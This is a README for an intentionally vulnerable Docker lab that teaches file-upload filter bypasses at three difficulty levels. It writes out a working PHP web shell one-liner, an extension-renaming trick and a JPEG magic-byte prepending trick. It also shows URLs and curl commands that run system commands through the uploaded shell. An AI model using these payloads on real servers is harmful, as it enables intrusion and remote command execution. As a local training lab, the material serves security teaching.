⚠️ This lab is for educational purposes only. Never deploy it on a public server.
This lab has three security levels. Each level has different protection for file uploads. The goal is to bypass each protection and upload a PHP shell.
| Level | Name | Protection | Bypass Method |
|---|---|---|---|
| 1 | LOW | No check | Directly upload a .php file |
| 2 | MEDIUM | Extension check only | Rename shell.php → shell.jpg |
| 3 | HIGH | Extension + MIME + Magic bytes | Prepend JPEG magic bytes |
docker build -t rg-upload-lab .docker run -d -p 8080:80 --name upload-lab rg-upload-labhttp://localhost:8080
docker stop upload-lab
docker rm upload-labdocker stop upload-lab && docker rm upload-lab
docker build -t rg-upload-lab . && docker run -d -p 8080:80 --name upload-lab rg-upload-labSelect LOW from the Level panel on the bottom-left side of the page.
Test: Directly create and upload a PHP shell.
echo '<?php system($_GET["cmd"]); ?>' > shell.phpOpen the following URL in your browser:
http://localhost:8080/uploads/shell.php?cmd=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Select MEDIUM from the Level panel.
Test: Rename the shell file.
echo '<?php system($_GET["cmd"]); ?>' > shell.jpgUpload this shell.jpg file. The server only checks the extension and does not inspect the content.
If successful:
http://localhost:8080/uploads/shell.jpg?cmd=whoami
✅ The PHP code will execute because the server allows the file based only on its
.jpgextension.
Select HIGH from the Level panel.
Simply renaming the file will not work here. The server checks the first few bytes of the file and verifies its signature.
Bypass Method — Prepend Magic Bytes:
Run the following commands in the terminal:
# Create the PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Prepend JPEG magic bytes (FF D8 FF E0) to the PHP code
printf '\xff\xd8\xff\xe0' | cat - shell.php > shell.jpgThen upload shell.jpg. The server checks the first 4 bytes — which are a valid JPEG signature — and allows the upload. However, the remaining content contains the PHP code.
http://localhost:8080/uploads/shell.jpg?cmd=id
✅ The PHP code will execute because the Apache configuration also allows
.jpgfiles in the uploads folder to be executed as PHP.
You can also test it with Curl:
curl "http://localhost:8080/uploads/shell.jpg?cmd=ls+-la+/var/www/html/uploads"# Enter the container
docker exec -it upload-lab bash
# View the uploads folder
ls -la /var/www/html/uploads/
# View the content of a file
cat /var/www/html/uploads/shell.jpgdocker exec upload-lab bash -c "rm -f /var/www/html/uploads/*.jpg /var/www/html/uploads/*.php".
├── index.php # Main UI + Level switcher
├── upload.php # Upload handler (3 level logic)
├── style.css # Dark cybersecurity theme
├── script.js # File inspector + drag-drop
├── Dockerfile # Docker build config
└── README.md # This file
- This lab is intentionally vulnerable — do not use it on a real server
- Keep the Docker container accessible only from localhost
- Stop the container after testing with
docker stop upload-lab
RGSecurityTeam © 2026 — Educational Use Only